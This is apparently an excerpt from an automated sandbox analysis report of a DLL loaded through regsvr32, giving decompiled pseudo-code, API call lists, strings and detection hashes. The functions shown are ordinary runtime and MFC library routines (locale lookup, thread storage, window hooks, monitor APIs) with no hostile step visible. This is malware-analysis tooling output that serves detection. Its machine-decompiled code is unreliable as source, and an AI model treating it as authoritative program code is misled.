ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40
GetVersion.KERNEL32 ref: 1000AB55
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 1000AB7A
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 1000AB9F
_sscanf.LIBCMT ref: 1000ABBF
ConvertDefaultLocale.KERNEL32(?), ref: 1000ABF4
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000ABFA
RegCloseKey.ADVAPI32(?), ref: 1000AC09
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 1000AC19
EnumResourceLanguagesA.KERNEL32 ref: 1000AC34
ConvertDefaultLocale.KERNEL32(?), ref: 1000AC65
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000AC6B
_memset.LIBCMT ref: 1000AC85

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 1000AB6D
kernel32.dll, xrefs: 1000AA6C
GetUserDefaultUILanguage, xrefs: 1000AA82
ntdll.dll, xrefs: 1000AC14
GetSystemDefaultUILanguage, xrefs: 1000AACB

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$CloseEnumFileH_prolog3LanguagesNameOpenQueryResourceValueVersion_memset_sscanf
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 434808117-483790700
Opcode ID: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction ID: 772d67b6ef5536ffa942379cc2d037747f9683b4a435f76ff704d577c4812cba
Opcode Fuzzy Hash: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction Fuzzy Hash: 638182B0D002699FEB10DFA5DC84AFEBBF9FB49350F500626E554E7280DB749A85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1001C11B, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E1001C11B(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t37;
				void* _t40;
				void* _t42;

				_t30 = __ebx;
				_t37 = GetModuleHandleA("KERNEL32.DLL");
				if(_t37 != 0) {
					 *0x1005aea4 = GetProcAddress(_t37, "FlsAlloc");
					 *0x1005aea8 = GetProcAddress(_t37, "FlsGetValue");
					 *0x1005aeac = GetProcAddress(_t37, "FlsSetValue");
					_t7 = GetProcAddress(_t37, "FlsFree");
					__eflags =  *0x1005aea4;
					_t40 = TlsSetValue;
					 *0x1005aeb0 = _t7;
					if( *0x1005aea4 == 0) {
						L6:
						 *0x1005aea8 = TlsGetValue;
						 *0x1005aea4 = E1001BDD2;
						 *0x1005aeac = _t40;
						 *0x1005aeb0 = TlsFree;
					} else {
						__eflags =  *0x1005aea8;
						if( *0x1005aea8 == 0) {
							goto L6;
						} else {
							__eflags =  *0x1005aeac;
							if( *0x1005aeac == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					__eflags = _t10 - 0xffffffff;
					 *0x10057d30 = _t10;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x1005aea8);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E10018042();
							 *0x1005aea4 = E1001BD03( *0x1005aea4);
							 *0x1005aea8 = E1001BD03( *0x1005aea8);
							 *0x1005aeac = E1001BD03( *0x1005aeac);
							 *0x1005aeb0 = E1001BD03( *0x1005aeb0);
							_t18 = E1001A3D3();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E1001BE05();
								goto L15;
							} else {
								_push(E1001BF91);
								_t21 =  *((intOrPtr*)(E1001BD6F( *0x1005aea4)))();
								__eflags = _t21 - 0xffffffff;
								 *0x10057d2c = _t21;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E1001E76E(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										_push(_t42);
										_push( *0x10057d2c);
										__eflags =  *((intOrPtr*)(E1001BD6F( *0x1005aeac)))();
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E1001BE42(_t30, _t37, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E1001BE05();
					return 0;
				}
			}

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0x1001c1d9
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0x1001c12d
0x1001c12d
0x1001c135
0x1001c135

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10017978,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C121
__mtterm.LIBCMT ref: 1001C12D

Part of subcall function 1001BE05: __decode_pointer.LIBCMT ref: 1001BE16
Part of subcall function 1001BE05: TlsFree.KERNEL32(0000001E,10017A14,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001BE30

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1001C143
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1001C150
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1001C15D
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1001C16A
TlsAlloc.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1BA
TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1D5
__init_pointers.LIBCMT ref: 1001C1DF
__encode_pointer.LIBCMT ref: 1001C1EA
__encode_pointer.LIBCMT ref: 1001C1FA
__encode_pointer.LIBCMT ref: 1001C20A
__encode_pointer.LIBCMT ref: 1001C21A
__decode_pointer.LIBCMT ref: 1001C23B
__calloc_crt.LIBCMT ref: 1001C254
__decode_pointer.LIBCMT ref: 1001C26E
__initptd.LIBCMT ref: 1001C27D
GetCurrentThreadId.KERNEL32 ref: 1001C284

Strings

KERNEL32.DLL, xrefs: 1001C11C
FlsFree, xrefs: 1001C15F
FlsGetValue, xrefs: 1001C145
FlsAlloc, xrefs: 1001C13D
FlsSetValue, xrefs: 1001C152

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction ID: b5f7097eefea174a9ed91942db92a94305995674aef8197461d434292f48097b
Opcode Fuzzy Hash: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction Fuzzy Hash: E4319335900735AFEB11EFB59CCEA4A3BF1EB46360B144526F5049A1B1EBB5D8C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10011389, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10011389(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				void* _t55;
				signed int _t56;
				void* _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				short _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E10017C2A(E1002866E, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x1000a0f5);
				 *(_t116 - 0x120) = _t110;
				_t54 = E10013D98(_t94, 0x10058f44, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E1000A0DB(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t55 = E1000D5EC(_t94, _t106, _t111, __eflags);
					__eflags = _t111;
					_t56 =  *(_t55 + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x1005acbc;
						if( *0x1005acbc == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x1005a8dc;
								if( *0x1005a8dc != 0) {
									L19:
									__eflags = (GetClassLongA(_t94, 0xffffffe0) & 0x0000ffff) -  *0x1005a8dc; // 0x0
									if(__eflags != 0) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										__eflags = _t59;
										 *(_t116 - 0x14) = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E10011245);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E100174D0(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E1000E5E2(_t94, _t97, _t106, "#32768", __eflags);
								__eflags = _t72;
								 *0x1005a8dc = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E100199C1(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E1000D638(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E1000FB9D(_t111, _t116, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf0))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E1001025C);
							__eflags = _t83 - E1001025C;
							if(_t83 != E1001025C) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E1000CEFC();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E1000A7E1(_t87, "ime");
						__eflags = _t88;
						_pop(_t97);
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E10017C74(_t94, _t105, _t110);
				}
			}

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APIs

__EH_prolog3_GS.LIBCMT ref: 10011393

Part of subcall function 10013D98: __EH_prolog3.LIBCMT ref: 10013D9F

CallNextHookEx.USER32(?,?,?,?), ref: 100113D7

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetClassLongA.USER32 ref: 1001141B
GlobalGetAtomNameA.KERNEL32 ref: 10011445
SetWindowLongA.USER32(?,000000FC,Function_0001025C), ref: 1001149A
_memset.LIBCMT ref: 100114E4
GetClassLongA.USER32 ref: 10011514
GetClassNameA.USER32(?,?,00000100), ref: 10011535
GetWindowLongA.USER32 ref: 10011559
GetPropA.USER32 ref: 10011573
SetPropA.USER32 ref: 1001157E
GetPropA.USER32 ref: 10011586
GlobalAddAtomA.KERNEL32 ref: 1001158E
SetWindowLongA.USER32(?,000000FC,Function_00011245), ref: 1001159C
CallNextHookEx.USER32(?,00000003,?,?), ref: 100115B4
UnhookWindowsHookEx.USER32(?), ref: 100115C8

Strings

ime, xrefs: 1001144E
#32768, xrefs: 100114F6, 100114FB, 10011545
AfxOldWndProc423, xrefs: 1001156C, 10011571, 1001157C, 10011584, 1001158D

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction ID: 45731ac5847e6eda9355a9c996fe1b8867c86b30351497dbe8ef7f26860efac9
Opcode Fuzzy Hash: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction Fuzzy Hash: 09619E31900666EFEB14DB61CC49BDE7BA9EF483A1F214254F506AB191DB34DEC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6C3, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000D6C3() {
				void* __ebx;
				void* __esi;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				struct HINSTANCE__* _t18;
				void* _t20;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;

				_t23 =  *0x1005a76c; // 0x0
				if(_t23 == 0) {
					_push(_t20);
					 *0x1005a770 = E1000D66B(0, _t20, __eflags);
					_t18 = GetModuleHandleA("USER32");
					__eflags = _t18;
					if(_t18 == 0) {
						L12:
						 *0x1005a750 = 0;
						 *0x1005a754 = 0;
						 *0x1005a758 = 0;
						 *0x1005a75c = 0;
						 *0x1005a760 = 0;
						 *0x1005a764 = 0;
						 *0x1005a768 = 0;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t18, "GetSystemMetrics");
						__eflags = _t6;
						 *0x1005a750 = _t6;
						if(_t6 == 0) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t18, "MonitorFromWindow");
							__eflags = _t7;
							 *0x1005a754 = _t7;
							if(_t7 == 0) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t18, "MonitorFromRect");
								__eflags = _t8;
								 *0x1005a758 = _t8;
								if(_t8 == 0) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t18, "MonitorFromPoint");
									__eflags = _t9;
									 *0x1005a75c = _t9;
									if(_t9 == 0) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t18, "EnumDisplayMonitors");
										__eflags = _t10;
										 *0x1005a764 = _t10;
										if(_t10 == 0) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t18, "GetMonitorInfoA");
											__eflags = _t11;
											 *0x1005a760 = _t11;
											if(_t11 == 0) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t18, "EnumDisplayDevicesA");
												__eflags = _t12;
												 *0x1005a768 = _t12;
												if(_t12 == 0) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x1005a76c = 1;
					return _t5;
				} else {
					_t24 =  *0x1005a760; // 0x0
					return 0 | _t24 != 0x00000000;
				}
			}

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APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,76925D80,1000D80F,?,?,?,?,?,?,?,1000F61E,00000000,00000002,00000028), ref: 1000D6EC
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 1000D708
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 1000D719
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 1000D72A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 1000D73B
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 1000D74C
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 1000D75D
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 1000D76E

Strings

MonitorFromRect, xrefs: 1000D724
GetMonitorInfoA, xrefs: 1000D757
MonitorFromWindow, xrefs: 1000D713
EnumDisplayMonitors, xrefs: 1000D746
USER32, xrefs: 1000D6E2
GetSystemMetrics, xrefs: 1000D702
EnumDisplayDevicesA, xrefs: 1000D768
MonitorFromPoint, xrefs: 1000D735

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction ID: 93615fb53cb164fe7f3d347b700eade87a81924dee4312457033af375ccc55a3
Opcode Fuzzy Hash: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction Fuzzy Hash: 7921E3B19097699BE701EF369DC856DBAF5F34F281391453FE109D2528EB3884C6EE20

Uniqueness

Uniqueness Score: -1.00%

Function 1000F530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E1000F530(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E10012862(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E1000D86F(_t121, E1000D804(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E1000A7CE();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E1000D86F(_t121, E1000D804(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t116 >= _v28.left) {
					if(_t123 + _t116 > _v28.right) {
						_t116 = _t108 - _v60.right + _v28.right;
					}
				} else {
					_t116 = _v28.left;
				}
				if(_t129 >= _v28.top) {
					if(_a4 + _t129 > _v28.bottom) {
						_t129 = _v60.top - _v60.bottom + _v28.bottom;
					}
				} else {
					_t129 = _v28.top;
				}
				return E1001297A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

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APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetParent.USER32(?), ref: 1000F55D
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 1000F580
GetWindowRect.USER32 ref: 1000F59A
GetWindowLongA.USER32 ref: 1000F5B0
CopyRect.USER32 ref: 1000F5FD
CopyRect.USER32 ref: 1000F607
GetWindowRect.USER32 ref: 1000F610
CopyRect.USER32 ref: 1000F62C

Strings

(, xrefs: 1000F5C8

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction ID: 3f3129d87232bc90929dbfd76231b55f7e5f3d8dd267dcccc126c4261812b80e
Opcode Fuzzy Hash: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction Fuzzy Hash: 84517072900619AFEB00DFA8CC85EEEBBB9EF48290F154119FA05F3594DB30ED419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1F9, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000A1F9(intOrPtr* __ecx, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t15;
				void* _t16;
				intOrPtr* _t18;
				char _t19;
				intOrPtr _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;

				_t16 = __esi;
				_t12 = __ecx;
				_t18 = __ecx;
				 *__ecx = _a4;
				_a4 = 0;
				_t19 =  *0x10058f2c; // 0x0
				if(_t19 == 0) {
					_t15 = GetModuleHandleA("KERNEL32");
					_t20 = _t15;
					if(_t15 == 0) {
						L2:
						E1000A0DB(0, _t12, _t15, _t16, _t20);
					}
					 *0x10058f1c = GetProcAddress(_t15, "CreateActCtxA");
					 *0x10058f20 = GetProcAddress(_t15, "ReleaseActCtx");
					 *0x10058f24 = GetProcAddress(_t15, "ActivateActCtx");
					_t9 = GetProcAddress(_t15, "DeactivateActCtx");
					_t21 =  *0x10058f1c; // 0x0
					 *0x10058f28 = _t9;
					_t16 = _t16;
					if(_t21 == 0) {
						__eflags =  *0x10058f20; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x10058f24; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t9;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t22 =  *0x10058f20; // 0x0
						if(_t22 == 0) {
							goto L2;
						} else {
							_t23 =  *0x10058f24; // 0x0
							if(_t23 == 0) {
								goto L2;
							} else {
								_t20 = _t9;
								if(_t9 == 0) {
									goto L2;
								}
							}
						}
					}
					 *0x10058f2c = 1;
				}
				return _t18;
			}

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APIs

GetModuleHandleA.KERNEL32(KERNEL32,00000000,?,00000020,1000ACB1,000000FF), ref: 1000A21B
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 1000A239
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 1000A246
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 1000A253
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 1000A260

Strings

CreateActCtxA, xrefs: 1000A233
ActivateActCtx, xrefs: 1000A248
ReleaseActCtx, xrefs: 1000A23B
KERNEL32, xrefs: 1000A216
DeactivateActCtx, xrefs: 1000A255

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
